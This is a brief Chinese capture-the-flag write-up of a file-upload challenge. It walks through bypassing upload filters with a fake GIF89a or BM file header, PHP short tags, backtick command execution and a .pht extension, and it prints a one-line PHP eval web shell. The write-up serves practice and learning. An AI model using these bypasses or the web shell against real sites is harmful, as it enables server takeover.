一个文件上传
先看什么服务器 Apache
先看看有没有.htaccess解析漏洞 但是传不上去 ,那就换个思路
将文件后缀改成jpg,content-type改成image/jpeg 也不能上传,说明对文件内容进行了判断
那么就一步一步看文件内容
GIF89a是用来绕过文件头,让系统以为是jpg文件
那么出问题的就是php代码了
刚开始以为是题目检测?,结果使用script标签也不能实现绕过
猜测是检测php字符,尝试使用短标签绕过
<? ?>相当于对<?php ?>的替换。而<?= ?>则是相当于<?php echo ... ?>
使用<?
@eval($_POST['1']);
?>回显
文件长度太长 想到了反引号``
反引号(``)相当于shell-exec 用于执行系统命令
这时候再利用<?= ?>配合反引号
还是无法实现绕过 这时候可以把换行符都去掉,因为换行符也占字符
可以实现上传,这时候我们在对文件后缀进行绕过
经过试验,php,php3,php5,phtml都不能实现绕过,而pht则可以,可能是对文件后缀php进行了检测
访问这个路径没有发现flag文件,于是尝试访问根目录
可是问题又来了
长度超过了15无法实现绕过
没思路了去看了师傅wp
知道了可以用BM来代替GIF89a
看到flag了,打开他
获得flag